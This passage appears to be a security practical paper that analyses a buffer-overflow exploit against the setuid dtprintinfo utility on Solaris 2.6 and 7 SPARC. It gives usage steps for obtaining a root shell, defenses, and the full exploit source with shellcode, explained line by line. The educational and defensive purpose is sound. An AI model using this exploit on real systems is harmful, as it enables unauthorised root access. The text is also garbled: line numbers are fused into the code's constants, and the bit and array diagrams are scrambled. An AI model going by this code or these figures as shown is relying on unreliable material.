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Exploit Details
Name: dtprintinfo exploit (CVE 1999-0806, BugTraq ID 249)
Variants: Similar exploit exists for the Solaris 2.6 and Solaris 7 Intel edition
Operating System: Solaris 2.6 and Solaris 7 Sparc edition
Protocols/Services: Local boundary condition error using the dtprintinfo command
Brief Description: The provided dtprintinfo utility is normally used to launch a CDE based 

application which provides information on the configured printer queues.  The 
utility has a setuid setting such that any user running the utility has the same 
rights as the program owner, in this case, root.  By overstepping the bounds of 
the input to the '-p' option for dtprintinfo, any command can be made to 
execute as root.  The example provided here is written to provide the attacker 
with a root level shell.

Protocol/Program description
The affected versions of the Solaris OS both include a suite of printer tools.  Included in those tools is a 
CDE application called dtprintinfo (see Figure 1).  The program is designed to allow for print job 
manipulation and tracking of print jobs.

Figure 1

The dtprintinfo utility is designed to be run as a setuid (SUID) program.  That is, the application is 
owned by root but has the necessary permission bits set so that anyone can run the application and, in 
doing so, inherit the rights and privileges of the application owner.  Ronald Ross provides an excellent 
explanation of SUID in his GCIH practical (Reference #1). The permissions bit for dtprintinfo are 
highlighted in Figure 2.

Variants
No known variants of this exploit could be located on the various security related websites.  Variants 
only exist in the sense that a large number of exploits can commonly be grouped and labeled as 
boundary condition error exploits.  A similar exploit does exist in the Solaris 2.6 and Solaris 7 Intel 
version of dtprintinfo and is based on similar code.

How the exploit works
This exploit is based on what is known as a boundary condition error.  In particular, this is a buffer 
overflow error.  Buffer overflow exploits can be further divided into local and network based 
compromises.  The dtprintinfo exploit is a local compromise.  
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Figure 2

The exploit works by calling the dtprintinfo binary and 'overstuffing' the variable that is passed to the 
argument of the '-p' option.  The '-p' option allows you to directly specify the queue name of the 
printer you are inquiring about.  Some of the data written contains NOP (no operation) commands, 
some of it contains the actual exploit, and somewhere in the data, it writes the return address that 
points to the exploit code.  While this could be any command, the example studied here, presumably, 
executes a call to /bin/sh.  Since the exploit code is represented in hexadecimal form in the source 
listing, it would be necessary to decompile it to understand the actual commands that are imbedded.  
The presumption of running /bin/sh is based on the observed behavior of the exploit when executed.  
Since dtprintinfo is SUID and this exploit is called by dtprintinfo, this code will inherit the rights of the 
dtprintinfo owner (in this case 'root') and the /bin/sh code will run as root.  This gives the attacker a 
root level shell.

How to use the exploit
Minimum requirements to use this exploit are:

Target must be running either Solaris 2.6 or Solaris 7 SPARC edition without the vendor fixes •
applied.  (I was unable to find the Release notes for all versions of Solaris 2.6 or Solaris 7 and 
could not determine when the patch became integrated.)
userid on the system•
C compiler (The compiler is not necessarily required on the target system.  However, the binary •
needs to be compiled on the same architecture as the target machine.) (Reference #2)
CDE (The CDE binaries, including dtprintinfo, must be installed on the target system.  The •
attacking system doesn't require CDE but must be capable of displaying X applications.)

Of course, the dtprintinfo binary must have the SUID bits set as shown in Figure 2.  Below are some 
screen captures that show the exploit being compiled and used.

This bit shows that the
setuid bit has been
set.

This shows that the owner of
the application is 'root'.
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Figure 3 shows that the userid 'sipes', which was used to compile the exploit, is not a privileged userid.

Figure 3

Figure 4 shows the steps necessary to compile and execute the binary.

Figure 4

The only truly privileged userid in UNIX is one with a UID of 0
(zero).  Most system maintenance accounts have userids with a UID
< 100.  Clearly this user, with a UID of 46534, doesn't fit into either
of those categories and is a 'normal' user account..

Step 1:
Start with the code

Step 2:
Create dummy lpstat and set
the execution bits

Step 3:
Set PATH to look at local lpstat first

Step 4:
Compile the exploit

Step 5:
Run the exploitWelcome to 'root'!
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When executing the exploit, it is necessary to have your DISPLAY variable set appropriately as the 
exploit will briefly try to display the dtprintinfo application.  If your DISPLAY variable is not set, the 
exploit will fail with an error message stating that the system could not open your display.

Exploit signature
Unlike some network based attacks which sometimes generate network traffic that network-based IDSs 
(Intrusion Detection System) can flag, local compromises do not generate a 'signature' that can be 
tracked with a current, host-based IDS.  The best way to look for exploits of this nature is through 
religious reviewing of your log files.  If you notice gaps in your logs, you should closely monitor your 
system for any suspicious activity.

How to protect against the exploit
I have found two practical solutions and one theoretical solution to this type of problem. 

Solution #1:
To address this problem directly, Sun released a patch that included fixes for the dtprintinfo command.  
According to the SunSolve website (Reference #3), you can install patch id 107219-01 or higher for 
Solaris 7 and patch id 106437-02 or higher for Solaris 2.6.  Figure 5 shows a screen capture of an 
attempt to run the exploit on a Solaris 2.6 box after patch 106437-03 has been installed.  The exploit 
causes a different behavior after the patch has been installed as shown in Figures 6 and 7.  Instead of 
briefly displaying the dtprintinfo application and then disappearing, the application appears with some 
fairly obvious garbage displayed in the bottom part of the status window.

Figure 5

Step 1:
Become root

Step 2:
Install patch

Step 3:
Exit back to nonprivileged userid

Step 4:
Run exploit

As shown, the userid did not gain
UID 0 access as in the unpatched
exercise
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Figure 6

Figure 7

Solution #2:
Another way to address this problem is by using an application that manages root authority.  One such 
application is eTrust (Reference #4) by Computer Associates.  By properly configuring eTrust, you can 
restrict the system so that any command that attempts to run as 'root' is checked against a database 
for explicit approval.  Figure 8 shows a screen capture of an attempt to run the exploit after eTrust has 
been installed and configured.

Figure 8

As you can see, the eTrust subsystem 'kills' the command that spawns the root-level shell, thereby 
defeating this exploit.  It should be noted that there are other side-effects of this configuration.  
Depending on how strict the configuration is made, the potential exists to prevent the user from 
running any SUID programs (such as /bin/passwd).  Careful consideration and planning are essential to 

Garbage caused by exploit

eTrust has been configured so
that the userid 'sipes' is not
allowed to run anything as
'root'.  Therefore, when the
exec to /bin/sh happens, it is
immediately 'killed'.
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effectively use this type of solution.

Solution #3:
At the Def Con 8 conference, Tim Lawless (Reference #5) presented material under the title of the 
"Saint Jude" project.  Tim wrote a dynamically loaded kernel module that looks for unauthorized root 
transitions.  Like the eTrust solution outlined above, the buffer overrun takes place and is successful, 
however, the resulting exec'ed command is killed.  Note that Saint Jude was in BETA at the time of this 
writing and efforts to find documentation were not successful.  At Def Con, Tim did make note that the 
code was currently only being developed for Linux and Solaris.

Source code/Pseudo code
The source code for this exploit can be found in a number of places.  The copy used for this paper was 
obtained at AntiOnline (Reference #6).

The source code is short enough that I've included it here along with semi-detailed descriptions of 
what each section of code is doing.  To facilitate this, I have removed all of the original comments and 
have added line numbers to make referencing the actual code easier.

#define ADJUST      01.
#define OFFSET      11442.
#define STARTADR    7243.
#define BUFSIZE     9004.
#define NOP 0xa61cc0135.

Lines 1-5 define some of the constants used in the exploit.  The two numbers which were probably the 
most difficult to obtain were OFFSET and STARTADR.  They give some reference to code in the stack 
and how close the exploiting code is to it.  Line 5 is the NOP command that is used to 'pad' the stack.

static char   x[1000];6.

This is the array where the exploit is built.

unsigned long ret_adr;7.
int i;8.

Lines 7-8 define 2 numbers.  ret_adr is used to store the return address pointer and i is used for a loop 
counter.

char exploit_code[] =9.
"\x82\x10\x20\x17\x91\xd0\x20\x08"10.
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"11.
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"12.
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"13.
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"14.
"\x82\x10\x20\x3b\x91\xd4\xff\xff";15.

Lines 9-15 contain the character sequence which is the hexadecimal representation of the compiled 
exploiting code.

unsigned long get_sp(void)16.
{17.
__asm__("mov %sp,%i0 \n");18.
}19.

Lines 16-19 contain code to obtain the current stack pointer.  It does this using a GCC specific 
command (asm) (Reference #7) which allows the programmer to code assembly commands using 'C' 
style expressions.  It basically takes the current stack pointer (represented by %sp) and copies it into a 
register (%i0) for later reference.  More information can be found about Sparc specific assembly code 
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at the Sun Documentation website (Reference #8) and looking through the SPARC Assembly Language 
Reference Manual for Solaris 2.6 and Solaris 7.

main()20.
{21.
putenv("LANG=");22.
for (i = 0; i < ADJUST; i++) x[i]=0x11;23.

Line 23 loops through the array, x, from the first element (0) up to, but not including, ADJUST and fills 
it with 0x11.  Since ADJUST is defined as 0, the array remains untouched at this point.  The 
significance of this particular section of code is to ensure that the exploit code lands on a word 
boundary when we copy it into the array.  This will become evident later.  It is also important to note 
that the 'fill' value cannot be 0x00.  This is because, in C, a 0x00 signals the end of a string in functions 
which act on character arrays.  Since the character array 'x' will later be passed to the execl system call 
as a string, and execl operates with string constructs, our array that is stuffed with the exploit would 
be ineffective because execl would see the first element as a string termination.  However, if we stuff it 
with something else, execl will read it all until it reaches a 0x00 (which is addressed in line 43 of the
code).

for (i = ADJUST; i < 900; i+=4){24.
x[i+3]=NOP & 0xff;25.
x[i+2]=(NOP >> 8 ) &0xff;26.
x[i+1]=(NOP >> 16 ) &0xff;27.
x[i+0]=(NOP >> 24 ) &0xff;28.

}29.

Lines 24 - 29 step through the array, x, from ADJUST (which is 0, hence we start at the first element of 
the array) up to, but not including, element 900.  It steps through in increments of 4.  This is important 
to note because the word size for the Sparc archnitecture is 4 bytes.  Since each element of the array 
is 1 character (or 1 byte), we fill them 4 at a time in this loop.  Here are the details.  Line 25 takes the 
array element [i + 3] and fills it with the ANDed value of NOP (defined as hex value 0xa6acc013) and 
the hex value 0xff.  Any hex value ANDed with 0xff will yield a result of the last 8 bits of the original 
value.  This can be easily shown in this example:

So the ANDed value, 0x13, is stuffed into the [i + 3] element of x.  The array x now looks like this:

Examining lines 26-28, we see that they do something a bit different.  Instead of directly ANDing the 
NOP value, it is first bit shifted.  For instance, Line 26 shifts 8 bits before ANDing as shown here:

NOP
(in binary) 1 0 1 0 0 1 1 0 0 0 0 1 1 1 0 0 1 1 0 0 0 0 0 0 0 0 0 1 0 0 1 1

&
0xff
(in binary) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1

=
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 1 1

0 0 1 30 0 0 0

c16a 310c

0 0 f f0 0 0 0

NOP
(in binary) 1 0 1 0 0 1 1 0 0 0 0 1 1 1 0 0 1 1 0 0 0 0 0 0 0 0 0 1 0 0 1 1
>> 8
=
(in binary) 0 0 0 0 0 0 0 0 1 0 1 0 0 1 1 0 0 0 0 1 1 1 0 0 1 1 0 0 0 0 0 0

1 c c 00 0 a 6

c 0 1 3a 6 1 c

Array x

U
ndef

U
ndef

U
ndef

0x13

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

Element

0 1 2 3 4 5 6 . . . . . . . . . . . . . . . . . 999
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This value is then ANDed with the 0xff mask which results in this:

Now the shifted/ANDed value, 0xc0, is stuffed into the [i + 2] element of x.  The array x now looks like 
this:

If we continue with this first interaction of the loop, x will end up like this:

This continues up to, but not including, element 900, so that the final result from this loop leaves x 
looking like:

Note that the array is built 'backwards' starting at the 4th element and building back to the 1st element.  
I'm not sure for the exact reason for this but can conjecture that this is done to circumvent any host-
based IDS from seeing an application that directly builds NOP commands in large quantities.  To my 
knowledge, such a system does not yet exist.

for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];30.

This line of code takes the hex form of the exploit, defined in the program as the character string 
exploit_code, and inserts it into a very specific place in the array x.  Specifically, it takes the exploit 
string and puts it in starting at the element in position STARTADR+ADJUST.  STARTADR and ADJUST 
represent the calculated address in memory, relative to the current stack position, for the exploit code 
to be put into place.  ADJUST, which is zero, serves to ensure that our code falls on a word boundary.  
So, since ADJUST is zero, our array, x, now looks like this:

You can see that the exploit code is stuffed into the array beginning at STARTADR + ADJUST, but since 

Shifted NOP
(in binary) 0 0 0 0 0 0 0 0 1 0 1 0 0 1 1 0 0 0 0 1 1 1 0 0 1 1 0 0 0 0 0 0

&
0xff
(in binary) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1

=
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0

0 0 c 00 0 0 0

0 0 f f0 0 0 0

1 c c 00 0 a 6

Array x

0xa6

0x1c

0xc0

0x13

0xa6

0x1c

0xc0 . . . . . . . .

0xa6

0x1c

0xc0

0x13

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

Element

0 1 2 3 4 5 6 . . . . . . . . 896

897

898

899

900

. . . . 999

Array x

U
ndef

U
ndef

0xc0

0x13

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

Element

0 1 2 3 4 5 6 . . . . . . . . . . . . . . . . . 999

Array x

0xa6

0x1c

0xc0

0x13

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

Element

0 1 2 3 4 5 6 . . . . . . . . . . . . . . . . . 999

Array x

0xa6

0x1c

0xc0

0x13

0xa6

0x1c

0xc0

0x13 . .

0x82

0x10

0x20

. .

0xa6

0x1c

0xc0

0x13

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

Element

0 1 2 3 4 5 6 . . . 724

725

726

. . 896

897

898

899

900

. . . . 999
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ADJUST is zero, we just begin at element 724.  

However, since the stack may not be on a boundary when we execute this code, we need a way to 
easily move our exploit code within the array, hence the variable ADJUST.  ADJUST has a useful range 
of 0 through 3.  If ADJUST had been defined as 1, then our array, x, would be shifted by one byte, as 
shown here:

The differences that should be noted here are that array element 0 (zero) has been filled with the fill 
pattern defined in line 23 of the code.  Also, we don't start stuffing in the exploit code until element 
725, which is STARTADR (value 724) + ADJUST (value 1).  You can see that, if ADJUST was set to a 
value higher than 3, the array would begin to look similiar to our original array (with ADJUST value of 
0), only it would have a leading sequence of the fill pattern described in line 23 of the code.

ret_adr=get_sp()-OFFSET;31.
printf("jumping address : %lx\n",ret_adr);32.
if ((ret_adr & 0xff) ==0 ){33.

ret_adr -=16;34.
printf("New jumping address : %lx\n",ret_adr);35.

}36.

Lines 31 - 36 determine what the return address should be using a function called get_sp (defined in 
lines 16-19) above and subtracting a calculated OFFSET.  It then checks this address by ANDing it with 
0xff.  I am unclear as to why the author of this exploit would perform such a check,  however, I'm sure 
he/she had a good reason.  As described before, any integer ANDed with 0xff results in the last 8 bits 
of the original integer.  So, if the return address ANDed with 0xff yields a 0, we want to make sure that 
we set our return point to somewhere before our current address, hence, backing up 16 bytes.

for (i = ADJUST; i < 600 ; i+=4){37.
x[i+3]=ret_adr & 0xff;38.
x[i+2]=(ret_adr >> 8 ) &0xff;39.
x[i+1]=(ret_adr >> 16 ) &0xff;40.
x[i+0]=(ret_adr >> 24 ) &0xff;41.

}42.

Lines 37 - 42 take the calculated return address and stuffs it into the first parts of x, ranging from 
ADJUST to 599.  This is very similar to the code described above regarding lines 24 - 29.  Except, 
instead of filling it in a backwards fashion with the NOP value, it is filled backwards with the return 
address.  Since we're filling up a sizeable section of the array with the return address, there is a high 
probability that one of them will land in the proper location on the stack to be interpreted as the return 
address.

x[BUFSIZE]=0;43.

Line 43 takes the first undefined element of the array, in this case element 900, and puts in a null 
value.  This effectively puts a termination character at the end of the array, making it a valid string.  
We know that this is going to be element 900 from line 24 above.  The highest we ever go in the array 
is element 899, and that is when we fill it with NOPs.

execl("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p",x,(char *) 0);44.
}45.

Line 44, we're finally here.  This is a standard UNIX system call which takes, as its arguments, any 
number of strings.  The first string is the full path to the binary to be executed.  The second string is 

Array x

0x11

0xa6

0x1c

0xc0

0x13

0xa6

0x1c

0xc0 . .

0xa6

0x82

0x10

0x20

.

0x13

0xa6

0x1c

0xc0

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

U
ndef

Element

0 1 2 3 4 5 6 . . . 724

725

726

727

. 896

897

898

899

900

. . . . 999
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the equivalent of ARGV[0].  Any strings following that are treated as ARGV[1], ARGV[2], etc.  The last
argument to execl must be a null pointer which lets execl know that there are no more ARGV[n] values 
to set up.

When the execl runs, it passes the exploit array to the '-p' option causing the boundary condition error.  
That, in a nutshell, is how the code works.
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